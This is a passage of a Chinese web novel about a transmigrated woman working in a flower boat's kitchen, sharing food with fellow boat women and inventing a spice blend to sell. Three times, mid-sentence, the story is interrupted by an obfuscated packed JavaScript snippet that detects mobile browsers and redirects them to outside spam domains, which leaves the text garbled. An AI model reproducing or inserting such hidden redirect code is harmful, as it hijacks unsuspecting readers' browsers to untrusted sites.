褚朝云不由得停下来,心中轻叹一声,而后看着他们笑道:“趁着热吃完吧,冷了就不好吃了。那厨娘心善,往后若是还有留下来的吃食,我再给你们做。” 若是让她用自己的钱来贴补大家伙,眼下还真没那个能力。 褚朝云只能走一步看一步。 她迈步往刁氏那去,刁氏和徐香荷正站在门口喝鸡骨汤,见她进来,顺手把脚凳上那一碗递给她。 “盛出来的早,可能不太热乎了,要不你再去热一热?” 刁氏声音不大。 褚朝云可不想再去生一次火,古代生火点柴实在麻烦,刚去厨房那两天,她时不时就被烟呛到,能不折腾她便不想折腾。 接过之后摸着碗边有些凉,她往窄窗瞟去一眼,便知这汤水为何凉的这么快了。 刁氏在开门时就熄掉了油灯,窄窗推开一个缝隙透亮,窗口又离着脚凳近,可不就要吹冷了么。 但褚朝云知晓刁氏并非故意,而是不愿其他船娘再生龃龉。 便宜的油灯虽说攒个个把月也能凑上一盏,但船娘们也是不舍得买的,摸着黑的日子也能过,不如多省些银钱出来买棉花和生活必需品。 远处的隔间门口,方如梅也正低着头吃那炸物,虽说煽动大伙去跟褚朝云理论那事已经过去好久,可此情此景难免又叫她回想起来。 方如梅头越垂越低,且不说这手艺她有没有,单说留下厨娘不要的吃食给大家做,她也做不到这一步。 她确实是有些自私的,但谁不想过得更好呢? 方如梅不禁在心中琢磨,如果今日这好处落到她头上,她必定要留下这些炸食自个慢慢的吃,可能还没吃完,自己就会被其他察觉的船娘煽动举报。 到时那下场…… 方如梅轻怔过后抬了抬头,褚朝云正倚在门边和徐香荷闲聊,她审视一样的偷觑向女子,似乎有些明白钟管事为何对褚朝云另眼相待了。 见她目光不错的望来,刁氏犀利地投去一眼。 刁氏可不是什么和善的性子,脸子也是能拉的下来的。 尽管她知晓对方的眼神不带恶意,可那事叫褚朝云受了点委屈,她总要找回来。 刁氏轻笑出声,有一眼没一眼的瞥向方如梅,语气自然,似乎是在跟大家闲话,“反正我是没有这个好手艺,就算厨娘给我这些东西,我也不知该怎么用它。” 有人听后,忙附和道:“刁婶子这话我赞同,得亏是朝云进了厨房,要不咱们哪能吃到这个!” 见众人七嘴八舌的都在夸褚朝云,方如梅也不想再跟这几人心有隔阂,便跟着说道:“朝云才来不久有些事可能还不知道,这马上要到冬天了,一些保命的草药可得提前备起来,免得到时日子不好过。” 听她语带关切,刁氏才彻底放下成见,“不错,下次我在下船去,就给你们捎些回来。” 一听要买草药,船娘们赶紧去翻自己的荷包,方才还热闹的氛围登时就被唉声叹息所取代,月钱太少,每拿出一枚铜板都仿佛心在滴血。 大家各自盘算着开销,都顾不上吃东西了。 不过这回却轮到褚朝云摸不着头脑了。 她讶了声,脱口道:“草药?” 刁氏看着她说:“是,天热还好,一冷起来容易闹毛病,有些药还是要备一些。”说着,就拉过褚朝云的手指,“你瞅瞅,还没大冷呢,这就先裂起来了。” 不说还好,这一提醒,褚朝云顿觉一阵钻心的痛。 她的手指肚裂了好几日了,每每沾水就针扎一样疼,在现世时倒也有过这种毛病,都是用些护手霜保养,一阵子就好了。 褚朝云不是没想过解决的办法,但她猜着这里大概不会有护手霜那东西,所以就忍着想等口子自愈。 “这小口自己不能好吗?” 褚朝云也低头看自己的手,难得现出几分委屈巴巴地神情。 刁氏白她一眼,眼底却是拿她当亲女儿疼的宠溺:“能好,好了之后还会在裂开,反反复复折腾你一冬,你就有的好受了。” 还不待褚朝云问其他,刁氏就自顾自说道:“下次我去买些面脂回来,你拿来擦手,每天坚持,几日便能恢复了。” 褚朝云哪知入冬还要备草药,不由得在脑子里过了一遍花销,心中“啧”出一声,铜板还没攒到几个,这就又要来一笔大支出了。 - 几日后,徐香荷在刁氏的指导下完完整整的编出了一只竹筐。 这只看着比上一只略大,且扎口也更紧实,徐香荷是新手,新手总会格外注意,出来的成品倒比刁氏那只还要严密。 一到午休,徐香荷就拉着褚朝云往隔间跑,这可是她第一次做出东西出来,人难免兴奋。 推门进来后,女子急吼吼地把藏在脚凳下的竹筐取来,“快看!这一只可是我编的,是我哎!!” 褚朝云见她高兴到欢蹦乱跳,忙伸手按住她,然后悄悄说:“看到了,做的极好,你真棒!” “那今晚咱们就拿过去试试?” 徐香荷说着话便搓起了手,一副跃跃欲试的模样。 褚朝云默默点头,又好好端详了一下这精致的竹筐,心中也替她高兴。 回房休息时,她还特地检查了一遍晾晒的茱萸,刚买回时的饱满颗粒已经不见,经过这些时日的风水日晒,果实表皮已经皱巴许多,细细的一层层纹路缠绕,看着有些像枸杞,就是比那个要圆润。 看来还是有些效果的。 褚朝云趁着空隙去床 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14057388|147138||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上小憩了会儿,打算养足精神好出去干活,下午又要劈柴了,这活可是需要不少的体力。 小睡片刻,褚朝云竟做起了美梦,满满的一桌子好菜香气四溢,她都闻到香味了。 醒来时差点流了口水,褚朝云翻身下床,一边活动着双手,一边去往船尾。 出来时徐香荷已经开始忙活了,徐香荷一次性领了三人份的柴回来,现下正抡圆了斧头,一下一下狠狠的劈着。 褚朝云挑了个斧头过来,见她脸都憋红了,便忍不住笑:“这么下力气,打算一个人把我和婶子的活都干了呀?” “没——错——!” 徐香荷拖着长音又来一下,眼前那块劈了半天的粗木桩,终于“哗啦”一声被劈成了两半。 褚朝云哪会真叫她一个人干,试了试斧头重量,也加入队伍。 二人站在角落自成一派,其他船娘也很懂的没过来打扰,近处无人,徐香荷跟褚朝云挤挤眼睛:“婶子也没闲着,在屋里给咱们做棉衣呢。” “等下干完了,我也去帮忙。” 褚朝云点点头。 “不用不用。” 徐香荷往她手上的裂口处瞄,有些担忧道:“你要做的事比我们多,这点小活我和婶子足够了,你就别跟着操心了。” 话题不知不觉又回到备药上,褚朝云不禁心有疑问:“如今婶子能下船去给他们买药用,那以前呢,婶子没来时也有专人去管这事么?” 徐香荷没事就跟刁氏唠嗑,知道的往事比她还多些,便把听来的都学了一遍。 “哪有,谁会管咱们死活,但有些手里银钱足的,会去钟管事那买。” “钟管事手里有药?” 褚朝云挑眉。 “是啊,你忘了她还卖皂角呢。” 徐香荷并没去细想这事,但褚朝云难免多心,这花船每日的生意赚头不少,就算几位管事不拿大头,油水也是常人无法能想象的。 这一点,单看那穿红戴绿的李婆子就知晓,那老妇虽说打扮的俗气,但用的却都是不得见的好东西。 他们富着呢,谁会看得上区区一只皂角的钱? 褚朝云思索间下意识将手按在腕部那条疤上,那日的止血药粉…… - 夜间一到,徐香荷也不怕冷了,拎着筐就来敲褚朝云的房门,简直比褚朝云还要心急。 二人轻车熟路下了水,将一筐河鲜取回打算挑些做点好吃的,之后,又把新竹筐固定好位置留用。 徐香荷抹了一把脸上的水,站在淤泥处一直看她编的筐,“朝云,赶明个你再弄些竹条来,我再做一个出来。” 褚朝云哭笑不得:“别了,受不了了。” 徐香荷不解:“为什么呀?多编几只,咱们好多抓些鱼虾回去,又能吃又能卖多好。” 褚朝云双手提了一下满载河鲜的竹筐,摇头道:“这一只还要咱们二人合力才能带回去,若是再来一只,可就真难弄了。” 见她说的有道理,徐香荷不禁哀叹:“倒也是……哎呀太难了,我们要是有条船就好了。” 这话一出,褚朝云便远远朝渔船那边望过去,表情未明,只语调悠悠地说,“是啊,有船就好了。” 30. 第 30 章 有了轮换的竹筐后,褚朝云做起事来确实方便多了,至少不用每日多下一次河了。 待把装满河鲜的筐弄回船上,褚朝云也要开始准备今日的晚饭了。 现在每晚要吃什么,都取决于竹筐里有什么,不像从前那样拿个网子去捞固定的鱼虾,倒还给她增添了一种莫名的新奇感,跟开盲盒似的。 褚朝云稍微甩了甩衣摆存留的水,就坐到靠近灶台的小杌子上,一边烤火一边从筐里往外拿东西。 竹筐能捞到的,基本每次都有鱼有虾,田螺也是很常见。 挑完这些之后,又扔掉点沉了底的小石头,褚朝云一抖落筐,被草叶盖住的那一面就翻上来几只毛蟹。 “哟,今个这收获确实不错呀。” 女子有些高兴。 毛蟹个头看着不太大,几只摞在一块,正不停用蟹钳想要夹筐的镂空处,褚朝云看着它们费劲够了半天也没够到,急的张牙舞爪地模样,还觉得有点搞笑。 她想了一下,找出只小盆把那些毛蟹都倒了进去,又在柜子里取来些做饭用的酒,先把这些小家伙灌醉,好方便清洗蟹壳。 切了几片野姜,小葱,又剥几瓣蒜备用,洗过的毛蟹对半砍开,开口处蘸些面粉防止蟹黄流失。 褚朝云起锅烧油开始炒蟹,又下入配料,然后添水闷煮。 待到水分快要熬干时,她又撒进一把厨娘的特制调料,用锅铲翻炒数下,一道美味的烧毛蟹就做成了。 毛蟹出锅,但锅子里还留着些炒剩的底料,闻起来香得很。 褚朝云也不打算再费事,把白天留下的几个馍一次切成葱段般大小,一股脑的倒进锅里就着满载蟹香继续炒。 扒掉硬壳的馍,内芯米粒似的白,在锅子里翻滚几回,周身就沾染上棕红的料汁。 不过褚朝云并没急着让炒馍出锅,而是一直翻炒到表皮酥脆,盛入盘中后还撒了些调料和芝麻粒,香味顿时就升华了。 饭菜都备齐,褚朝云就端着去了刁氏那。 现下,刁氏已经成了他们固定聚集的地方,不管她还是徐香荷,二人每每一回暗仓,必先来这里报个到。 所以这一来一回,油灯也就留在刁氏这里没在挪过位置。 褚朝云进门就看到二人顶着微黄的灯火在赶制棉衣,之前大家伙给赵大他们做棉衣时,人人皆是一脸怨气,现在轮到给自己做,精神头也足了,腰不酸了,背也不痛了。 褚朝云“噗嗤”一笑,开口唤他们:“收工了收工了,吃饭哪有不积极的。” 徐香荷闻言伸了个懒腰,迅速放下针线凑过来说:“就想早些弄完,咱们就能早点穿上新衣裳了!” 刁氏听后也笑:“你这一说,倒弄得跟要过年似的。” 对比一下刚上船时的惨样,褚朝云感叹一声:“可不就是过年了么~” 三人围在小屋里吃毛蟹和炒馍,又有油灯照亮,就连心情都跟着敞亮不少。 吃过几口,刁氏才压着声说:“晚间那会儿,春叶过来跟我说了句话,柳文匡来订货了,这次要四十虾饼!而且你猜怎么着,刘新才下午也过来喝了杯茶。” 褚朝云正为买药的花销犯愁,乍一听,顿时抬起眼,眸子亮亮的问:“他真来了?他也要订货吗?” “可不就是,我也没想到他来得这么快。” 刁氏也喜上眉梢。 那天在面食铺子门前,虽说她是和刘新才提了一嘴,可人家若是考虑着订货还有成本就不来了,也不是不可能。 说着不知想到什么,刁氏便免不了笑道:“今个还有一桩趣闻呢,刘老板和柳老板在花船相遇,为了降低这订货成本,二人一相商,往后就一个过来订货,一个过来取货,彼此就出一份茶钱就好。” 这话一说,三人顿时小声笑起来。 褚朝云确实是有些哭笑不得的,总觉得这两位好惨一对兄弟,可真难为他们如此欣赏自己做的吃食了。 “好,他们要多少?我等下就去准备出来。” 一般姑娘们上船、下船时李婆子都会看得紧些,不过赶就赶在李婆子这几日都死死盯着褚惜兰,牟足了劲的要抓褚朝云小脚,倒是给了春叶钻空子的机会。 刁氏那会儿正要出来上个茅房,刚路过厨房,就被春叶一下拽了进去。 恰巧有机会说两句话,刁氏便拜托春叶明个装一次病,这样他们有借口送饭,她好下船去给大家伙采购草药。 刁氏把细节一说,表情却突然变得有些迷蒙,“不过我瞧着春叶姑娘像是状态不好,眼红红的,尤其一听我叫她装病,立刻就同意了,似是不太想上船做工似的。” “怎么听着像是躲什么人呢?” 徐香荷默默干饭半天,总算听出几分不对劲来。 这一点褚朝云也发现了,不过不是从刁氏的口中,而是那日的厨房里。 褚朝云没说什么,吃过饭后又跟刁氏讲了几句明日下船要带的东西,刁氏听得一头雾水,却也没多问便点头应“好”。 回房后,褚朝云又忙着检查她那一屋子的茱萸,窄窗外的亮透进来一些,但光线也还是昏暗的。 褚朝云伸手摸了几颗,发现它们又被风干了不少。 - 翌日下午,做好饭菜装进食盒后,褚朝云就目送着刁氏下船去了。 今个这大食盒分量轻了不少,毕竟里面就一碗给春叶熬的粥,柳文匡和刘新才都来船上拿货,刁氏也就不用再特意往面食铺子跑那一趟。 因为食盒被带走了,褚朝云只能把做好的鱼丸、虾丸和虾饼一并放进大盆里,又用盖子盖好,这才放心去做别的事。 春叶今天不过来,那么来取吃食的就变成了蕙娘。 未免蕙娘找不到东西放在哪,褚朝云干活时始终围着厨房那块打转。 她把洗衣裳的盆挪到船尾靠厨房一侧,一边洗,眼睛一边盯着那条过道。 不多时,从休息间走出来的钟管事往她这边扫量一眼,似是轻皱了下眉,但转瞬,又像是懒得理会她一样,慢悠悠地下船去了。 又过了一会儿,蕙娘果然来厨房拿酒了。 褚朝云顿时起身,左顾右盼跟接头似的,瞧一瞧四下无人,也飞快的溜进了厨房。 “这样确实有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14068688|147138||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 些冒险。” 见她一进门,蕙娘就用手顺了顺心口说。 褚朝云默默点头,但眼下她真没什么更好的办法,将食物依次放入餐盘盖好盖子,又摆上一壶酒,就低声对蕙娘说了句“辛苦姑娘”。 “你才辛苦。” 蕙娘善解人意的笑了下,说着就塞进她手里一包银钱。 褚朝云讶异。 蕙娘端起餐盘,道:“两位老板信得过咱们,也免得我还要下来跑一趟,就先把钱给了。” 说完,似是怕耽搁太久撞上那群婆子,蕙娘朝褚朝云点了下头,提步就出了厨房。 褚朝云把那一包塞进衣裳里,耳听一阵慢腾腾地脚步声,眼一垂,随手踢了下旁边那只水盆,水盆里有大半的水,晃荡着就流到地上。 钟管事溜达过来时,就看到褚朝云蹲在厨房擦地。 “怎么洗着衣裳又跑这儿来擦地了?” 钟管事倚门悠闲地问。 褚朝云回了下头,故作哀叹道:“婆子来取酒碰翻了水盆,见我就在这儿附近,便使唤我过来擦地了。” 楼上婆子多了去了,天知道背锅的是哪个~ 褚朝云笃定钟管事不会吃饱了撑的跑上去挨个询问,张嘴就敢胡诌。 钟管事果然神色淡淡地,打了个哈欠似是有点困乏,转头又下船去了。 钟管事无事并不会上船来,褚朝云还挺纳闷,她谨慎地走出来在船上溜达一圈,没寻到钟管事来船上的原因,也只能暂时作罢了。 褚朝云倒不是想去理钟管事的事,只是怕被瞧出什么来。 在船栏边站了好一会儿,直到西码头的赵大远远盯过来一眼,褚朝云便又跑回那堆衣裳前,坐下来继续磨洋工。 忙碌了一个下午,工头都过来送晚饭了,刁氏还没回来。 徐香荷有点担心,窝在屋子里做一会儿棉衣就跑出来瞧一眼,不过刁氏和褚朝云多次叫她“谨言慎行”,徐香荷总算稳重一些,倒也没明目张胆的往码头望。 褚朝云默默拿了几个馍,方如梅一边吃馍喝汤,一边走过来低声问:“朝云,你婶子怎么还没回来,会不会是咱们凑得银钱不够啊?” 方如梅不过这么一说,实则还是担心那些草药。 她总怕备的药不足,恐难过冬。 褚朝云轻摇下头,对刁氏迟迟不归这件事,她比谁都着急。 但她和方如梅那些人惦念的东西不太一样,她更惦记刁氏本人,怕刁氏遇上什么未可知的麻烦。 褚朝云把馍放到隔间的脚凳,人就站在木梯入口处等,一直站了有半拄香的功夫,才终于把刁氏给盼了回来。 刁氏过来时见她站在木梯上,朝她亲切地摆摆手,而后就急吼吼道:“我先下去喝口水。” 褚朝云跟在身后进了门,刁氏一坐下来就“咕嘟咕嘟”灌了大半碗,水是褚朝云提前倒好的,就预备她回来喝,只是现下有点凉了。 喝过,妇人抹去嘴角水渍,气都没喘匀就说道:“遇到点麻烦事,不过多亏了小宋那孩子。” “小宋?” 褚朝云诧异了下。 31. 第 31 章 褚朝云没下过船,更没在蕤洲生活过,原以为刁氏说起那人是曾经旧识,没成想,刁氏也是今个才知道宋谨的。 方如梅那张巧嘴虽是随便那么一说,结果还真被她给说中了。 刁氏今日下船去采购时,物价比往年涨的都狠,草药的价格倒还勉强能接受,褚朝云要的那些零七八碎,却是贵的要命。 一结账,这便差了两百多文。 那推着车的小摊就停在刘新才面食铺子门脸对过,刁氏便想凭着和刘老板的一点交情,去刘新才那先借了这钱,日后就算她没及时下来送还,刘新才也可上船去取。 不过她忘了刘新才此刻就在船上,面食铺子里只有个新招的打杂伙计看店,那人做不得主,谁也不敢擅自从掌柜的钱盒子里拿钱,刁氏这下就犯难了。 可在小摊摊主那赊账,对方也是不肯。 人家是流动的摊位,实在冒不得险。 一来二去没辙了,刁氏只能说“要不就先不要了”,她本就讲的不好意思,毕竟这点东西折腾了人家半天,可那摊主一听却红了眼,小孩年岁不大,急的便要哭。 又拉着刁氏左求右求,说是等着银钱给家人救命的,二人拉锯似的在摊子前磨叨,刚好被过来吃扁食的宋谨瞧见了。 宋谨是个抬尸体的,地位还不如仵作,虽说他常常去河里洗澡,还会用些仵作师父给的香料去尸臭,可有些人知晓他是做什么的,总会嫌恶的离他远些。 就连想吃点饭,一些饭馆都不愿卖给他。 也就刘新才心眼好,不嫌他,还特地跟他说,要是天天吃冷淘和扁食也不嫌腻歪,就每日都来他这吃。 宋谨正坐在露天棚子下吃东西,一抬眼看到路对面的拉扯,小伙就放下筷子,目不转睛地听了会儿。 待听懂这二人因何争执后,宋谨弯眼一笑,起身就走了过来。 刘新才第一次见到宋谨,就给了小伙一个评价:“这小伙爱笑,而且笑起来还特别好看。” 宋谨的牙齿齐刷刷的,又白。 若非常年抬尸体,做苦工,被折腾的精疲力竭,好好拾掇一下看着也是个翩翩公子了。 毕竟尸体不是天天都有,但苦活累活可停不下来,府衙里事情多了,很多大人们不爱做不想干的,最后也要丢给他们来处理。 而且工钱还不高。 典型的累死人不偿命的破差事。 不过宋谨还是走过来了,他就站在距离二人两步的位置上,笑呵呵地阻止了他们,“都不容易,再说争吵也没什么用,差的这些银钱我先帮这位婶子垫上,你们的问题就解决了。” 宋谨说话时总是一副柔和的腔调,不强势,也不会让人忽略了他。 而且音色还很舒服。 他说完,刁氏和那小摊主果然停了下来,不但停了争吵,两人还都齐齐的看向宋谨,目光不一的打量起人来。 刁氏自个都是做苦工的,自然不会轻易看不起谁。 但那小摊主年岁小些,着实不太懂事,而且也因爹娘病重急需银钱有点着急。 小孩揉揉眼睛,抹掉泪珠子,有些闷闷地朝宋谨说:“这位……大哥哥,求您别捣乱了,我们这说正经事呢。” 言外之意就是叫他快走快走,这里没有你的事。 这话不怎么礼貌,连一旁的刁氏听了都直皱眉头,宋谨却一点也没恼。 难听的话他可听得太多了,而且他是来解决问题的,又不是来帮谁理论的。 宋谨依旧是那副带笑的模样,斟酌了下,便从衣襟里摸出块玉来,“婶子要是需要,我就去把它先当了。” 刁氏一听顿时有些受惊,“哎哟使不得使不得!” 她再眼拙也看得出这块玉绝非凡品,虽也奇怪这小哥身上怎么会有如此上等的好玉,可眼下并非琢磨这个的时候。 她只是觉得二人非亲非故,人家平白为了她当玉佩,这代价她有些承受不起。 宋谨俨然是看出她的顾虑,小伙只是笑笑:“这倒没什么,不过都是身外之物,且是活当,还会回来的。” 说完,扫一眼小摊主迫切又羞愧地眼神,他便走去一旁的当铺,当了三百文出来。 小摊主接了银钱不住的跟宋谨道歉,道完歉又开始道谢,跟着,就推车跑去药铺买药去了。 刁氏则怔愣了好一会儿,直到宋谨回了棚子里接着吃饭,她才慌忙走过去,客气的问:“这位小哥,敢问您姓谁名谁,家住何处?这银钱我老婆子很快就能还的,就是不知下次要去哪里寻你?” 这会儿,铺子里打杂的伙计倒是出来接话了,“他叫宋谨,我们都叫他宋小哥。” 刁氏点点头,笑意又多几分:“小宋是个热心人。” “是呀,宋小哥人可好了呢。” 伙计说完,又自去忙着了。 宋谨起身看着刁氏笑道:“您不是认得刘老板吗?刚好我也认得,把钱给他就好了,他会转交给我的。” 吃完饭付了账,宋谨顺手把碗筷搁到灶台旁,也免得伙计再来收一趟,就朝刁氏摆摆手,转身奔着衙门口走了。 刁氏把这段经历讲完,褚朝云却听得犯愣。 没一会儿,她才好似回过味来,忙把今个刚赚的两百八十五文递给刁氏,“是我考虑不周,要婶子为难了。” 她是真不清楚当代的物价,又没个网络能查一查。 褚朝云从前上课一到史地生就摸鱼睡觉,考试全靠背,背完全都就饭吃了。 就更别说她来的这个地方,历史课本上还没讲过。 刁氏倒是不介意闹出的这一场,好在东西都买齐全了,她思虑之后,就将银钱揣好,“还是下次下船我亲自送去刘新才那,若是再碰上小宋,也好再当面道个谢。” 一开始她是想着托春叶给刘新才的,这样宋谨能更快拿到钱去赎当。 但这一手一手的倒,恐怕出了差错,念头就打消了。 回头一看,褚朝云仍在发呆。 刁氏无奈地看着她笑:“这怎么还听魔怔了,都呆了好一会儿了,你这样子就跟我家——” 刁氏随即收了声,不再说下去,表情也不似玩笑时那般松快,仿佛有什么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14085663|147138||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不可对外人道的伤疤,被轻轻撕开了一个口子。 褚朝云被刁氏喊回了神,人刚刚清醒,就也没注意到妇人的异常。 她坐下来从食盒里往外拿买的东西,边拿边说:“也没,就是觉得这宋小哥跟咱们萍水相逢,怎么就信得过呢?就不怕是咱们联合那摊主做局坑他吗?” 这种事并不稀奇,换谁都得多想些。 刁氏毕竟岁数大些,吃的盐多,回想了下当时情形,她猜想说:“要么就是他太过实诚,身上有种不谙世事的纯朴,要么……” 就是经历过世间无比凄惨之事,什么都不太在乎了。 虽看着宋谨年纪轻轻,不过刁氏总更倾向于是后者的因由。 当晚,褚朝云和徐香荷帮着一块把草药分给各屋,船娘们得了药,悬在心上的一件大事也总算落了地。 跟大家伙多来往几回之后,彼此间的关系明显更亲和了些,趁着夜里没有管事留宿船上,睡不着的一些人又开了门,还把各自囤的吃食拿出来分着吃了。 这时代没有冰箱,很多吃食都生了蛀虫,不过他们也不在意,挑了虫出去,又清掉尘土,一样当美食吃的乐呵。 褚朝云默默看他们一眼,转身便去了厨房。 扒拉扒拉竹筐里的河鲜,把田螺炒了一盆,又捡条鱼来给大家做些热乎汤喝。 下来送吃食时,船娘们个个惊喜的眼眶湿润,有些不会吃田螺的,徐香荷就主动教他们怎么嗦。 一群人热热闹闹的边吃边聊,倒也没去问褚朝云鱼和田螺的来路。 热闹散去之后,三人回了刁氏那,油灯一点,又开始忙碌着做起棉衣来。 徐香荷在缝制棉衣方面明显有了进步,针脚码的又快又好,她笑的欢畅,咧着嘴兴奋道:“快了快了,再两日这棉衣就能穿上身了,高兴!” 刁氏看她那乐呵样,不免笑道:“这就高兴了?” 徐香荷重重点头:“高兴的很呢,从来没这么高兴过,以前这么高兴的时刻,还是我娘在的时候……” 提到这茬,氛围便沉闷了些。 褚朝云怕徐香荷想起伤心事,晚上睡不好又要哭,就轻咳一声说:“除了这个,咱们还得各做一双棉鞋,还有那枕头和被子里也不能总是塞芦苇,芦苇不能御寒,还是得要些正经的棉花。” 一听这话,徐香荷“呀”了下:“老天,那还得需要多少银钱?恐怕刘老板和柳老板也要不了那么多的货。” 褚朝云“嗯”出一声:“只是丸子和虾饼自然不够,还得做些别的,得价高,好卖,还得放不坏!” 刁氏和徐香荷闻声,都哭笑不得道:“朝云,不是俺俩打击你,你说那个东西这世间可没有。” 哪有什么吃食又价高,又好卖,还得需要它是放不坏的。 二人一说一乐,只当褚朝云为了赚钱疯魔了,倒是全都没往心里去。 褚朝云也不跟他们争辩,放下针线一伸腰,决定先回屋子里睡一觉。 回来后她又伸手摸了摸那些茱萸串,心说,功夫不负有心人,总算是风干成功了~ 32. 第 32 章 这晚花船刚一歇业,褚朝云就抱了一篮子风干好的茱萸串进了厨房,连徐香荷过来叫她去试棉衣,她也忙的没顾上。 徐香荷不敢靠近厨房太久,一跺脚,就先跑回了隔间里。 女子穿上暖绒绒地棉衣棉裤,只敢在不太放得开手脚的小隔间里转悠,“好看吗?婶子。” 她一脸乐滋滋的问着。 虽说这棉布里塞的都是下等棉,穿起来还是有些沉的,可徐香荷依然很乐呵,这怎么都比外穿的单衣要暖和。 而且就像褚朝云说的,一件衣裳只填了七八两棉,活动起来也灵便的很。 刁氏已经过了花季,自然没有小姑娘爱美的心性。 妇人看着徐香荷喜不自胜的样子,点点头笑说:“棉衣保暖最重要,当然,你穿着也好看。” 徐香荷爱惜的摸了摸素净又没什么花样的棉布,欣慰地坐了下来。 其实她更喜欢艳丽一点的颜色,就像儿时过年,她娘总会给她做一身大红的棉袄穿,但这一身只能套在外衣里,外衣又薄,总怕透出什么被旁人瞧出来。 不过她都试了好一会儿,褚朝云仍不见影,徐香荷纳闷地看向刁氏:“朝云到底在忙什么呢?试新衣裳也不积极。” 刁氏其实也不知,通常这个点还不到开始做晚饭的时候。 她拿过褚朝云那套,又细细的帮着检查了一遍针脚,然后说:“她总有她的道理。” 褚朝云去厨房前,翻箱倒柜的在仓库里寻到个旧物,被仍在角落不太起眼,她要一个一个物件摸过去,才能找到。 那是一个杵臼,跟现世捣蒜缸子差不多少。 平时舂米,厨房里有大件工具,但褚朝云这干的是私活,并不想弄出太大动静。 也不过是到仓库里碰碰运气,没成想还真有收获。 杵臼上落了一层灰,罐子口还沾着脏污,褚朝云把它拿进厨房里,打了盆清水仔细的清理,擦干净之后,才拿着杵子比划两下试手感。 沉甸甸地,还挺费劲。 准备工作齐全后,她就从棉线上取下一些茱萸放入罐子里,开始慢慢的捣。 捣茱萸着实费了不少功夫,手酸不说,额上的汗也是流个不停。 但最后出来的成果还算不错,当然是不如石磨磨出的粉质那般细腻,可她捣得认真又肯下力气,把茱萸里的辣气都一并捣出来了。 捣好一样,褚朝云又拿起另一样来。 此刻她面前放着许多包干货,都是今个拜托刁氏下船买的。 有孜然,桂皮,小茴香,香茅草,还有晒干的野姜等一些杂七杂八的调味品。 褚朝云捣一会儿歇一会儿,一鼓作气把这些调味的干货全部弄成了粉,不过她弄这个并非是为了要仿出厨娘所用的调料,而是想搞一个更加万能的配方出来。 竹筐里有昨个没吃完的河鲜,她也不急着去换筐,煮好一份虾,又蒸了条笋壳鱼,就开始抓那些细粉分别往两个小盘里撒。 装鱼和虾的盘子里撒的细粉是不同的,因为她想调出两种不同的口感来。 几种细粉混合之后,褚朝云浅尝一口…… 太咸,太淡,不够辣,没有香味,腥味盖不住等等等等。 几乎是反复加减许多次,总算是勉强满意了些。 最后化开的热油分别往两只盘子里的细粉上浇,“哗啦”一声,香味就彻底爆出来了。 茱萸的确够辣,油泼上后,褚朝云几乎被呛的咳了好几回,她摆着手挥散味道,端起两盘成品回了暗仓里。 “快来尝尝我做的吃食!” 由于有点激动,说话声音未免高了一个调门。 褚朝云很少这样没分寸,这一嗓子吼的,屋中二人齐齐看向了她,然后都自觉地围上来,盯住面前两盘红彤彤的食物。 徐香荷刚想开口,褚朝云就贼兮兮地笑道:“别问,先尝尝~” 徐香荷眨巴了下眼睛,很听话的拿起筷子夹了口鱼肉,鱼肉在口中融化的瞬间,女子就微微变了脸色。 刁氏一见徐香荷如此表情,还有点没太敢动筷子。 徐香荷咽下鱼肉后并没忙着去吃虾,而是不停的吧唧嘴,似是在回味。 脸色一变再变,她怔怔地看着褚朝云,这才又夹了一筷头子虾,虾肉都提前剥了壳,去了虾线和头尾,吃起来方便的很。 直到这一筷子虾肉进嘴,徐香荷才捂着嘴嘶嘶哈哈起来:“唔唔唔,好呛,怎么还麻口呢!” 刁氏彻底看懵了,张了张嘴,犹疑道:“香荷,你这到底是……好吃……还是不好吃啊?” 徐香荷还在咳,眼泪都快下来了,听刁氏问,就小鸡啄米地不停点头。 样子显然是再说“好吃”。 点头频率极高,这自然又被刁氏给解读成了“特别好吃”。 刁氏好奇心被勾起,先去尝了那虾肉。 比起徐香荷,妇人的样子要淡定许多,而且那一口肉进嘴之后,刁氏的眉眼也跟着弯了起来,“这是放的什么,可真够味。” 褚朝云懂了,“看来婶子比香荷能吃辣。” “嗯?” 二人都看向她。 褚朝云这才开始介绍,“这是一道鲜香蒸鱼,和一道麻辣拌虾,料是我提前配好的,食物做法也不过是简单的蒸和煮。” 二人细品品她的话,算是彻底听懂了。 用的什么菜和肉不重要,重点是在褚朝云配的调料上。 褚朝云又说:“其实这鲜香料和麻辣料相差不大,只是麻辣料更重口一些,谁要是有了这样一包,甭管是要做汤食,凉拌,水煮,红焖,炖炒,就是拨霞供,也是能用的。” “嚯!” “拨霞供也可以?!” 徐香荷眼珠子登时亮起来。 